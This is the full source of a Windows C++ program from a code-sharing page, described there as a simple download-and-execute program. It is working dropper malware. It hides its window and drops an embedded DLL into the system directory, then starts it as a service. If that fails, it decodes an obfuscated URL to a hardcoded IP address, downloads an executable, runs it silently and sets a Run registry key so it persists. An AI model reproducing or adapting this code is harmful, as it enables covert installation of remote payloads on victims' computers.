installer.cpp
来自「一个简单的下载执行程序的源代码」· C++ 代码 · 共 259 行
CPP
259 行
// cc.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "windows.h"
#include "resource.h"
#include "stdio.h"
#include "string.h"
#include "atlbase.h"
#include <shlobj.h>
#include "urlmon.h"
//#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(lib,"Urlmon.lib")
#define MAX_LOADSTRING 100
// Global Variables:
HINSTANCE hInst; // current instance
TCHAR szTitle[MAX_LOADSTRING]; // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING]; // The title bar text
char key[21]="shyrjloiengkduysdxma";
char mypath[MAX_PATH]="d:\\mypath\0AAAAAAAAAA";
char s2[32] = "ccccccccccccccccc";
char url2[256] = "http://202.66.74.236/aa.exe\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
BOOL Usermodewrite()
{
int flag = 8;//0的时候为自定义下载目录,26的时候为第一种情况,28的时候为第二种情况
char tmpname2[MAX_PATH];
char exename2[MAX_PATH];
char s[MAX_PATH]="";
//char url2[256]="http://www.dllxia.cn/soft/UploadFile/2008-8/2008897552185739.rar\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
FILE *ftmp2,*fexe2;
long filelen;
// char startup[MAX_PATH];
//解密部分
for(int i=0;i<21;i++)
{
url2[i]=url2[i]^key[i];
}
switch(s2[16])
{
case 0:
strcpy(s,mypath);
break;
case 26:
SHGetSpecialFolderPath(NULL,s,26,FALSE);
break;
case 28:
SHGetSpecialFolderPath(NULL,s,28,FALSE);
break;
}
// strcpy(s,mypath);
// char s2[32]="cccc";
// SHGetSpecialFolderPath(NULL,s,CSIDL_INTERNET_CACHE,FALSE);
strcpy(tmpname2,s);
strcat(tmpname2,"\\ipripn.exe");
strcpy(exename2,s);
strcat(exename2,"\\iprip.exe");
URLDownloadToFile(0,url2,tmpname2,0,0);
//Sleep(300000);
Sleep(30000);
//exec()
ftmp2 = fopen(tmpname2,"rb+");
fseek(ftmp2,0,SEEK_END);
filelen=ftell(ftmp2);
rewind(ftmp2);
BYTE *b2=new BYTE[filelen];
ZeroMemory(b2,filelen);
fread(b2,1,filelen,ftmp2);
fexe2=fopen(exename2,"wb+");
fwrite(b2,1,filelen, fexe2);
memcpy(s2,&b2[filelen-16],16);
fread(s2,1,16,ftmp2);
fclose(ftmp2);
fclose(fexe2);
Sleep(30000);
if (strcmp(s2,"microsoftwindows")==0)
{
DeleteFile(tmpname2);
WinExec(exename2, SW_HIDE);
CHAR skey[64];
strcpy(skey,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
CRegKey writevalue;
writevalue.Create(HKEY_CURRENT_USER,skey);
writevalue.SetValue(exename2,"iprip");
writevalue.Close();
}
return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
HACCEL hAccelTable;
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_CC, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_CC);
char syspath[MAX_PATH];
char dllname[MAX_PATH];
char ininame[MAX_PATH];
GetSystemDirectory(syspath,MAX_PATH);
//写资源文件:
{
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(IDR_MYDLL1),TEXT("mydll"));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
strcpy(dllname,syspath);
strcat(dllname,"\\ipripn.dll");
HANDLE hFile = CreateFile(dllname, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
if(hFile==INVALID_HANDLE_VALUE)//cantwrite ipripn.dll
{
Usermodewrite();
exit(0);
}
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
}
//写资源文件结束
//执行DLL
FILE *fp;
strcpy(ininame,syspath);
strcat(ininame,"\\iprip.ini");
fp = fopen(ininame,"w");
fputc('0',fp);
fclose(fp);
Sleep(500);
char rundll32[MAX_PATH];
char netstart[MAX_PATH];
strcpy(rundll32,syspath);
strcat(rundll32,"\\rundll32.exe ipripn.dll,RundllInstall");
strcpy(netstart,syspath);
strcat(netstart,"\\net start iprip");
WinExec(rundll32, SW_HIDE);
WinExec(netstart, SW_HIDE);
//if(WinExec(netstart, SW_HIDE)<32)
{
Usermodewrite();
exit(0);
}
return TRUE;
}
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_CC);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = (LPCSTR)IDC_CC;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);
return RegisterClassEx(&wcex);
}
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance; // Store instance handle in our global variable
hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}
// ShowWindow(hWnd, nCmdShow);
// UpdateWindow(hWnd);
return TRUE;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
TCHAR szHello[MAX_LOADSTRING];
LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);
switch (message)
{
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO: Add any drawing code here...
/*
RECT rt;
GetClientRect(hWnd, &rt);
DrawText(hdc, szHello, strlen(szHello), &rt, DT_CENTER);
EndPaint(hWnd, &ps);
*/
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?